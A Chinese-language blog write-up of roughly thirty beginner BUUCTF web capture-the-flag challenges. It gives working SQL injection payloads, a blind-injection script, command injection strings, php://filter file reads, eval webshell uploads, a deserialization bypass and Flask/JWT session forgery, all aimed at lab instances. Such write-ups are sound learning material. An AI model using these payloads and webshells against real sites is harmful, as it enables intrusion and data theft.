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web复现之buu初体验

Posted by inhann on 2021-02-04
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菜鸡刚开始刷buu的web题，记录一下前40道简单题的解题思路和过程

0x01 [强网杯 2019]随便注

闭合

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?inject=1'%23

有报错信息回显

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?inject=1'AND+updatexml(1,concat(0x7e,(select+user()),0x7e),1)%23

有信息回显

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return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

看来是关于拦截的信息

image-20210122185442534

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?inject=1'AND+extractvalue(1,concat(0x7e,user(),0x7e))%23

得到user

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error 1105 : XPATH syntax error: '~root@localhost~'

得到database

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?inject=1'AND+extractvalue(1,concat(0x7e,database(),0x7e))%23
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error 1105 : XPATH syntax error: '~supersqli~'
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?inject=0'or+1=1%23

image-20210122202654090

把所有东西都返回了

能堆叠注入

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show tables
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<hr>array(1) {
  [0]=>
  string(16) "1919810931114514"
}
<br>array(1) {
  [0]=>
  string(5) "words"

使用handler查看表的内容

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?inject=0';handler+`1919810931114514`+open+as+A;handler+A+read+first;handler+A+read+next;%23

image-20210122215438433

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flag{bee56e24-1c09-4fba-8c08-e7c27cc69170}

0x02 [极客大挑战 2019]EasySQL

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?username=admin&password=admin'or(1)%23

image-20210122215927325

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flag{29e869ab-79d1-4974-b60d-86f0833546ac}

0x03 [极客大挑战 2019]Havefun

image-20210122220258976

源码提示

image-20210122220315623

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flag{3e508e49-6380-47f9-b510-9ce21b72e0fc}

0x04 [SUCTF 2019]EasySQL

闭合

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query=0%23

union 被拦截，from被拦截

报错不回显

可以试试看布尔盲注

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query=database()%23

image-20210122222228699

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ctf

database的名字叫ctf

猜测后端代码

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$query = $_POST["query"];
check($query);
$r = mysql_exec('select $query');
var_dum($r);
......

image-20210122223226244

貌似还真的是

而且可以堆叠注入

image-20210122224212775

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query=database();show tables;%23

image-20210122224302037

但是过滤了 handler

当输入的是0的时候，没有返回，其他时候都返回1

image-20210122232245843

很显然，直接输入的东西的后面有一个 or 运算，类似于 $query or 0

image-20210122232635091

随便试试

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query=*,3

image-20210122232733877

竟然得到了flag

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flag{f43b29fb-8d7b-4f4e-aa39-6e6a3a9c69e5}

看来这个select 语句肯定有个from Flag

可以猜测，长这样

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$query = $_POST["query"];
check($query);
$r = mysql_exec('select $query or 0 from Flag');
var_dum($r);
......

0x05 [ACTF2020 新生赛]Include

用了filter伪协议

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http://444e8eae-85a6-46b1-be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=index.php

解码以后得到index.php源码

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<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

可能flag就在flag.php里面

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http://444e8eae-85a6-46b1-be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

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<?php
echo "Can you find out the flag?";
//flag{03cf7047-523b-45b1-a7f5-32ef111a3771}

0x06 [极客大挑战 2019]Secret File

image-20210122234957803

我点的是action.php但是最后跳转到了end.php

image-20210122235047225

抓个包看看

image-20210122235303667

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secr3t.php

访问看看

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<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

结果是一个文件的源码

用filter伪协议

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http://7aaee179-70cb-4b9b-8c76-4edf46988d3e.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

解码得到

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<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈！你找到我了！可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{8eb6002b-013d-4700-8f94-d9e2f436e4c6}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

0x07 极客大挑战 2019]LoveSQL

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?username='union+select(1),2,3%23&password=admin'or(1)%23

image-20210123095611867

使用超级payload

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?username='union+select(1),2,(select%20(@)%20from%20(select(@:=0x00),(select%20(@)%20from%20(information_schema.columns)%20where%20(table_schema%3E=@)%20and%20(@)in%20(@:=concat(@,0x0D,0x0A,'%20%5B%20',table_schema,'%20%5D%20%3E%20',table_name,'%20%3E%20',column_name,0x7C))))a)%23&password=admin'or(1)%23

image-20210123100041388

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[ geek ] > geekuser > id|
[ geek ] > geekuser > username|
[ geek ] > geekuser > password|
[ geek ] > l0ve1ysq1 > id|
[ geek ] > l0ve1ysq1 > username|
[ geek ] > l0ve1ysq1 > password|

看看geek

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?username='union+select(1),2,(select%20(@)%20from%20(select(@:=0x00),(select%20(@)%20from%20(geek.l0ve1ysq1)%20where%20(@)in%20(@:=concat(@,0x0D,0x0A,0x7C,'%20%5B%20',username,'%20%5D%20%3E%20',password,'%20%3E%20',0x7C))))a)%23&password=admin'or(1)%23

image-20210123100320339

得到flag

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flag{f236ceea-d306-4184-87e7-83c133d23982}

0x08 [GXYCTF2019]Ping Ping Ping

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?ip=127.0.0.1;ls

image-20210123100456125

拦截了空格和flag

用变量来看看index.php

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?ip=127.0.0.1;ls;a=index.php;cat$IFS$a

image-20210123111721658

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?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>
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?ip=127.0.0.1;ls;b=g.php;a=fla;cat$IFS$a$b

image-20210123112409988

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flag{2c6f3541-384d-4633-9852-5355815a3a8e}

0x09 [RootersCTF2019]ImgXweb

从第一个非1分题开始做

image-20210123112618993

注册了一个账号hello 密码是hello

要上传文件，我就上传了个a.c

image-20210123113524254

然后发现了这个文件的位置

image-20210123113555813

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static/167659824c454b631c7e455bb6103a50/a.c

尝试上传一个php马，但是发现没用，解析不了

注册的时候尝试admin，报错说已经有一个名为admin的账号了

扫描下目录，发现robots.txt

image-20210123135745271

但是是个这个东西

image-20210123135809516

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you-will-never-guess

猜测是用python写的

看源码发现个提示

image-20210205125344698

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<!-- https://bit.ly/IqT6zt -->

访问一下

但是是个歌舞视频，没什么用

image-20210205130016954

注册的时候

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username=admin&password=admin

login 的时候也是直接

image-20210205130209544

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username=hello&password=hello

登录进去之后

image-20210205141048323

发现seesion_id由三个部分构成，以 . 隔开，且前两个部分都只用到base64出现的字符，有个srect.txt，里面应该是某个算法的密钥，猜测用到了jwt，而且header和payload部分没有进行过加密，即只是用到了base64url

尝试一下base64decode

image-20210205142410048

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{"typ":"JWT","alg":"HS256"}

第一部分，果然是jwt的头数据

image-20210205142512403

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{"user":"hello"}

第二部分里面，是user名

找一个在线的jwt网站

image-20210205143133984

得到新的jwt

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eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaGVsbG8ifQ.GCoJvts9SEgFOM4oSJsx0xTvvMRQQesiM13v8p_MfGE

更改之后就登录到admin了

image-20210205143327361

下载flag.png，然后用winhex打开

image-20210205143645733

得到flag

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flag{31f30593-6fd2-4ff9-9968-0146109d8033}

0x0a [ACTF2020 新生赛]Exec

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target=127.0.0.1;ls;cat index.php

看到源码

image-20210123141158665

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<?php 
if (isset($_POST['target'])) {
	system("ping -c 3 ".$_POST['target']);
}
?>

image-20210123141941557

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flag{031a15aa-088d-4588-bc2e-c778dc0e6a67}

0x0b [护网杯 2018]easy_tornado

三个文件，点开看看

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/flag.txt
flag in /fllllllllllllag
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/welcome.txt
render
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/hints.txt
md5(cookie_secret+md5(filename))

观察这个url

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?filename=/hints.txt&filehash=906c350ef0749cc04e870fc4159fa9b8

很明显，为了得到flag，需要filehash参数

而为了得到filehash参数，就需要cookie_secret

发现一个报错页面

image-20210123143138537

有个参数，怀疑是ssti注入点

tornado一般模板

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<html>
   <head>
      <title>{{ title }}</title>
   </head>
   <body>
     <ul>
       {% for item in items %}
         <li>{{ escape(item) }}</li>
       {% end %}
     </ul>
   </body>
 </html>

看看tornado模板里面的alias们

image-20210123144457173

这些是可以直接访问的对象

其中handler所对应的RequestHandler的源码中

image-20210123145006696

可以看到返回了settings

那就直接调用这个handler.settings就行

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{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '1492390b-1ea6-4cc0-b8eb-bd5483a8b804'}

然后根据提示，解出来filehash

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9ea0818965db2686bc9f00ec34ef0245
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/file?filename=/fllllllllllllag&filehash=9ea0818965db2686bc9f00ec34ef0245
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flag{ac5daf1c-8539-4403-858b-0f1dcf178bcd}

0x0c [极客大挑战 2019]Knife

送分题

直接post里面放代码

先看看 /

image-20210126125339363

image-20210126125403549

找到flag文件

接下来file_get_contents

image-20210126125621073

image-20210126125631497

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string(43) "flag{815fa45a-2f26-42c0-bd2d-fcfa379223e7}

0x0d [RoarCTF 2019]Easy Calc

image-20210126133527270

一个计算器

用到ajax，有用到waf

image-20210126133553894

访问一下calc.php

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node3.buuoj.cn:27735/calc.php

看到源码

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<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

而当num传入一个非数字时，就被拦截，这估计是waf搞的鬼

image-20210126134911543

php解析查询字符串时，会将变量名中的空白符删除，变量名中的一些字符转换为下划线

image-20210126141029275

试试看 %20num

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?%20num=phpinfo()

image-20210126141106573

成功

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?%20num=var_dump(scandir(chr(46)))

image-20210126141600786

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?%20num=var_dump(scandir(chr(76)))

image-20210126141627866

发现flagg

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?%20num=var_dump(file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67)))

image-20210126142023143

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flag{29e94668-e02e-42eb-a133-bfe51804ee04}

0x0e [极客大挑战 2019]Http

看源码，看到一个Secret.php，点进去

image-20210126143128134

提示

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It doesn't come from 'https://www.Sycsecret.com'

所以改一下reffer

image-20210126143251860

又提示

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Please use "Syclover" browser

所以改一下user agent

image-20210126143416373

还是没完

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No!!! you can only read this locally!!!

还要改一下 X-Forwarded-For

image-20210126143744465

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flag{6ec3e040-5c8a-42db-9c2f-9ab646f20b3e}

0x0f [极客大挑战 2019]PHP

image-20210126144033335

有网站备份

估计是有backup而来

扫描一下

image-20210126221158865

有一个www.zip文件

下载来，能看到源码

index.php中php脚本部分

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<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

而class.php

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<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

所以最终要调用Name类的__destruct方法，且username强等于admin，且要保证password == 100，而且要注意，username和password是private

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O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

而还有一个__wakeup要绕过，只要在这个序列里面稍作修改就行，把代表对象属性个数的2改成更大的数字3，然后就能绕过了

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O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag

image-20210126225352421

0x10 [极客大挑战 2019]Upload

先放一下最终payload

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filename="geach1.phtml"
Content-Type: image/jpeg

GIF89a
<script language="php">
    eval($_GET['kkk']);
</script>

GIF89a是gif的文件头

拦截了<?所以就以这种形式写php

拦截了php、php2345，但是没有拦截phtml

对content-type也进行了筛选，一定得是图片

image-20210126231626619

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upload/geach1.phtml/?kkk=phpinfo();

尝试了一下，发现上传得到图片在upload里面

找到flag的位置

image-20210126231904586

得到flag

image-20210126231934852

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flag{7f4761bb-1e32-4246-8d98-bc715e12e429}

0x11 [极客大挑战 2019]BabySQL

image-20210131131101491

过滤了or，尝试之后，猜测后端代码为

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preg_replace("or","",$password)；

可以用||，也可以双写过滤，即用 oorr

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?username=admin&password=1'||1%23

image-20210131124726426

可以报错注入

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username=admin&password=1'||updatexml(1,concat(0x7e,user(),0x7e),1)%23

image-20210131125031697

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root@localhost

database为geek

image-20210131125136426

union 和 select 也被过滤了，但是都可以双写绕过

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?username=admin&password=1'ununionion(seselectlect(1),(2),(3))%23

image-20210131125723625

where、 from 也被过滤了，同样可以双写绕过

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?username=admin&password=1'ununionion(seselectlect(1),(2),(seselectlect(@p)frfromom(selselectect(@p:=0x00),(selselectect(@p)frfromom(infoorrmation_schema.columns)whwhereere(@p)in(@p:=concat(@p,0x0D,0x0A,0x5B,table_schema,0x5D,0x3E,table_name,0x3E,column_name,0x7C))))a))%23

image-20210131131156614

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[ctf]>Flag>flag|
[geek]>b4bsql>id|
[geek]>b4bsql>username|
[geek]>b4bsql>password|
[geek]>geekuser>id|
[geek]>geekuser>username|
[geek]>geekuser>password|

看看ctf库的Flag表的flag字段

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?username=admin&password=1'ununionion(seselectlect(1),(2),(seselectlect(@p)frfromom(selselectect(@p:=0x00),(selselectect(@p)frfromom(ctf.Flag)whwhereere(@p)in(@p:=concat(@p,0x0D,0x0A,0x5B,flag,0x5D))))a))%23

image-20210131131634381

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flag{f18d434f-cab3-4c97-9f99-1b38b79d8c54}

0x12 [ACTF2020 新生赛]Upload

image-20210202141833765

把js关了

然后随便上传一个东西

image-20210202141916110

这样就成功上传了

然后上传php文件

但是被拦截了，打印了个

image-20210202141752274

先改一下content-type

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Content-Type: image/jepg

还不够

发现geach.ph可以上传成功，应该没有内容检查，仅仅是后缀过滤

image-20210202142432999

php2就成功了

image-20210202142525735

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./uplo4d/2928c20df8464007ad4848f0a2927502.php2

但是访问了却没有解析

image-20210202142749567

换一个试试看

php3被拦截了

image-20210202142840098

php4、php5都被拦截了，但是phtml没有被拦截

image-20210202143001277

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./uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml

访问一下

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http://5f012b23-b093-4851-b357-4a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(scandir("/"));

image-20210202143130477

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http://5f012b23-b093-4851-b357-4a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(file_get_contents("/flag"));

image-20210202143208695

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flag{3972468d-f7a7-4907-a620-69046f332fd7}

0x13 [ACTF2020 新生赛]BackupFile

扫描一下，扫出来index.php.back

image-20210202162530032

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<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
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?key=123

image-20210202162925716

根本没有难度

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flag{3aa7ba8d-bc6d-45a6-b48a-5f737ed9376f}

0x14 [MRCTF2020]Ez_bypass

直接给了源码

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I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

很简单的绕过

image-20210204214717894

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flag{22724a04-5e03-463b-a756-0cb3e2c6fc40}

0x15 [极客大挑战 2019]BuyFlag

看源码发现注释里面有代码

image-20210202163752259

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~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
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Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; user=0
Upgrade-Insecure-Requests: 1

password=404abc&money=100000000

image-20210202165356157

好像没什么用

提示说必须是CUIT的学生

实在不知道这怎么整，但是看到个user，试试看把这个0改成1

image-20210202165537454

竟然就是CUIT的学生了

然后提示

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Nember lenth is too long

不知道说的是password还是money，估计是先strlen了money，然后将money和1000000进行比较

但是当money是aaaa的时候，却报错钱不够

image-20210202192256288

说明可能不是直接调用

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strcmp($money,"100000000")

如果是用的strcmp，又要经过比较后，得出aaa小于100000000的结论，那么可能是加了intval，即

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strcmp(intval($money),"100000000")

100000000是9位数字中最小的数字了，不可能找到一个长度比9小，而intval之后又要比100000000大的数字了，所以推测，这题用的不是strcmp

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X-Powered-By: PHP/5.3.3

注意到php的版本

推测这题的后端代码大概是这样

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$money = $_POST["money"];
if(strlen($money) >= 9){
    echo "too long";
}
else if($money >= 100000000){
    echo $flag;
}
else{
    echo "not enough";
}

为什么不是”100000000”呢，因为如果是字符串，那么aa就比这个大了，但是 如果是数字100000000的话，那aa就被转成0

在以上情况下，$money可以为数组或者 1e9

image-20210202202849300

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password=404abc&money=1e9s

image-20210202203008248

得到flag

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password=404abc&money[]=0

image-20210202203027147

也得到flag

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flag{a95db5a9-cc78-4272-87a0-67bc99182454}

0x16 [HCTF 2018]admin

试试看注册一个username为admin的账户，果然返回admin被注册了

image-20210202203722338

所以先随便注册一个

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hello
hello

有一个/post可以访问，但是用hello账号访问时404notfound，猜测用admin登录会得到flag

image-20210202204033532

还可以修改密码

这时候就有思路了，可以修改admin账户的密码，或者注册一个 admin’#之类的账户

先试试看改密码

image-20210202204321422

可能是根据session来判断身份的

试试看抓注册的包

image-20210202204756373

经过尝试，发现注册的时候可能存在注入点

估计是执行insert语句，然后报错了

image-20210202205252747

image-20210202205230028

猜测一下后端代码，但是值得注意的是后端估计不是php开发的，大概率是python

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username = req.params["username"]
password = req.params["password"]
check = "SELECT username from user_table where username='"+username+"'"
r = mysql_exec(conn,check)
if len(r)!=0:
    erro()
insert = "INSERT user_table (username,password) values ('{%s}','{%s})"%(username,password)
r = mysql_exec(insert)
redirect()

如果有两步的话，就不知道这报错是第一步还是第二步的

所以最好把引号给闭合了

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username='or 1 or'
yes

这样的话，估计就有一个username 为1的账号

但是报错了，估计用的是双引号

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username="or 1 or"
yes

又报错了，感觉没戏

又来到change password页面，看看源码，看到一段注释

image-20210202211135551

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<!-- https://github.com/woadsl1234/hctf_flask/ -->

访问一下

是源码

可以看到，index.html有对session[‘name’]进行判断，如果是admin，就会显示flag

image-20210202212223987

从而可以确定了，sql注入应该是没戏了

用到了flask，可以解密session看看session是基于什么东西生成的

image-20210203144552558

https://github.com/noraj/flask-session-cookie-manager

有专门的项目，破解flask的session

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Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; session=.eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls
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#python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    # session = sys.argv[1]
    session = ".eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls"
    print(decryption(session.encode()))

得到

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{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'hello', 'user_id': '10'}

可见，用户名hello就在这里面

如果把name的值设为admin，然后生成一个session，就可以冒充admin登录了

要生成session

去config.py中找到secret_key

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SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

所以secret_key可以是ckj123

接下来生成session

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ython .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'admin', 'user_id': '10'}"

image-20210203145235373

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.eJw9kEGLwjAQRv_KMmcPWvUieKikiodJscy2ZC6iprZNGhdaZduI_32DC54_5j3ePOF47cq-htW9e5QTODYaVk_4OsMKeKcG9LqRYmulSTxGyTKljUuFdkgbk9JllKSbVLBlkVs0ecsGF9KxkRTP2akpU1ar4uClaFuMDlPlM4M-c1zkNQsVsbnMU1Kj8tUohfWSkqUq1ExF-4GFtijUQgoZfFXEpGt2ecO7rFUUe3RqYMOtdMkaXhO49N31eP-x5e2TgD72TOHEBa3ZGhTfQ1AEtAyIkEaZCap5SLJc4C8TDhyv37jGnaryQ8rt3hfV_3I7uTDASbvmBhN49GX3_hvMpvD6A687bzs.YBpIKQ.aaxBjEPHdpKgsH2V5x99lnRWIHI

然后就可以去伪造了

image-20210203145435705

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flag{3bec85bf-8725-4f38-8d68-5dd5fc969c9e}

0x17 [SUCTF 2019]CheckIn

拦截 <?

初步绕过

image-20210203150818555

但是，文件后缀是ph就会被拦截，而且区分大小写

但是其中有一个index.php，可以考虑写一个.user.ini看看

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filename=".user.ini"
Content-Type: image/jpeg

GIF89a
auto_prepend_file = cmd.txt
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filename="cmd.txt"
Content-Type: image/jpeg

GIF89a
<script language="php">
    eval($_GET['kkk']);
</script>

image-20210203175029916

接下来访问index.php，理想情况可以执行木马

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http://3a656e51-f708-4d5d-a5c0-2a497b0d9cd6.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(scandir("/"));

image-20210203175151442

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http://3a656e51-f708-4d5d-a5c0-2a497b0d9cd6.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(file_get_contents("/flag"));

image-20210203175237018

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flag{9e6845a8-71aa-4050-b843-337ef747be15}

0x18 [BJDCTF2020]Easy MD5

注释里面没有任何提示

抓包也没发现什么东西

看了看各个响应的文件的消息头

image-20210203181023344

Hint竟然在这里

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select * from 'admin' where password=md5($pass,true)

参数为true，如果没有true，那么返回的是一个 0-9a-f的字符串，而加了true之后，就会unhex成字符串

而ffifdyop经过md5后，是276f722736c95d99e921722cf9ed621c，unhex之后是 'or'6]!r,b

试试看

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?password=ffifdyop

image-20210203183211946

成功跳转

看看源码

image-20210203183241724

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$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

看来要满足这个条件

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?a=QLTHNDT&b=QNKCDZO

又跳转了

image-20210203183501217

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 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

md5处理数组会返回NULL

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param1[]=a&param2[]=b

image-20210203183949794

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flag{3ca7ca5e-3b3a-4870-9d14-067308f5dcb4}

0x19 [ZJCTF 2019]NiZhuanSiWei

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 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

直接给了源码

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?text=data://TEXT/HTML,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=hello

读一下useless.php

image-20210203190428800

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<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

可见flag在flag.php里面

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http://b4dbe37d-a3be-430f-9631-10dc5dc14949.node3.buuoj.cn/?text=data://TEXT/HTML,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20210203204446795

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flag{560773ef-8b1f-4549-be23-04522902613e}

0x20 [CISCN2019 华北赛区 Day2 Web1]Hack World

看来是sql注入

单引号回显bool(false)，而双引号被拦截，’#也被拦截，但是#本身没有被拦截

很奇怪，不知道怎么闭合的

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id=0

image-20210203210547705

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id=1

image-20210203210612276

试试看

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id=1>2
1
id=1<2

image-20210203210656501

image-20210203210713357

是不一样的回显，而且对应1和0的情况

说明闭合没有用到引号

可以考虑在这个点进行布尔盲注

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id=1=(ascii(substr(database(),1,1)))

image-20210203211533273

有ascii可以用，substr也没有被过滤

提示说flag在flag表的flag字段

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id=(ascii(substr((select(flag)from(flag)),1,1)))

image-20210203213053794

可以进行盲注

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import requests
from time import sleep
session = requests.session()
url = "http://4d428311-e831-4ac9-873d-46af3cb1c9f4.node3.buuoj.cn/index.php"
what_i_want = ""
count = 0
for i in range(1,50):
    def what_i_want_i_less_than_or_equal_mid(mid):
        global count
        count += 1
        print("on the {}th request now.... ".format(count))
        payload = "(ascii(substr((select(flag)from(flag)),{},1))<={})".format(i,mid)
        data = {"id":payload}
        resp = session.post(url=url,data=data)
        print(resp.status_code)
        while resp.status_code==429:
            print("429 !!! sleep(3)")
            sleep(3)
            resp = session.post(url=url,data=data)
            print(resp.status_code)
        if "girlfriend" in resp.text:
            return True
        return False
    
    print("--"*70)
    print("processing the {}th char now.... ".format(i))
    low = 32
    high = 127
    while low < high:
        mid = (low + high)>>1
        if what_i_want_i_less_than_or_equal_mid(mid):
            high = mid
        else:
            low = mid + 1
        print("{}th request completed!!!".format(count))
    
    if low==32:
        break
    what_i_want+=chr(low)
    print(what_i_want)
    count = 0

print("!!"*70)
print("This is What You Want!!!!!!!!!!")
print(what_i_want)

不知道为什么在windows下面跑得好慢，所以就放到虚拟机的ubuntu上去跑

image-20210203215722076

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flag{3ea4b221-9173-4fe2-b926-b7872ea73003}

0x21[极客大挑战 2019]HardSQL

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?username=admin&password=1'or(1)%23

image-20210203220155379

登录成功，但是没有任何回显

有syntax error 的报错，估计可以报错注入

and 被拦截，空格被拦截，等于号=被拦截

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?username=admin&password=1'or(extractvalue(1,concat(0x7e,user(),0x7e)))%23

image-20210203221501744

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?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT(group_concat(TABLE_NAME))FROM(information_schema.TABLES)WHERE(`table_schema`like(database())))),0x7e))%23

image-20210203223525229

得到表明

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H4rDsq1

得到这个表的字段

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id,username,password
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?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT(group_concat(password))FROM(H4rDsq1))),0x7e))%23

image-20210203232243420

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flag{8d4b1187-b167-49c6-9030-37

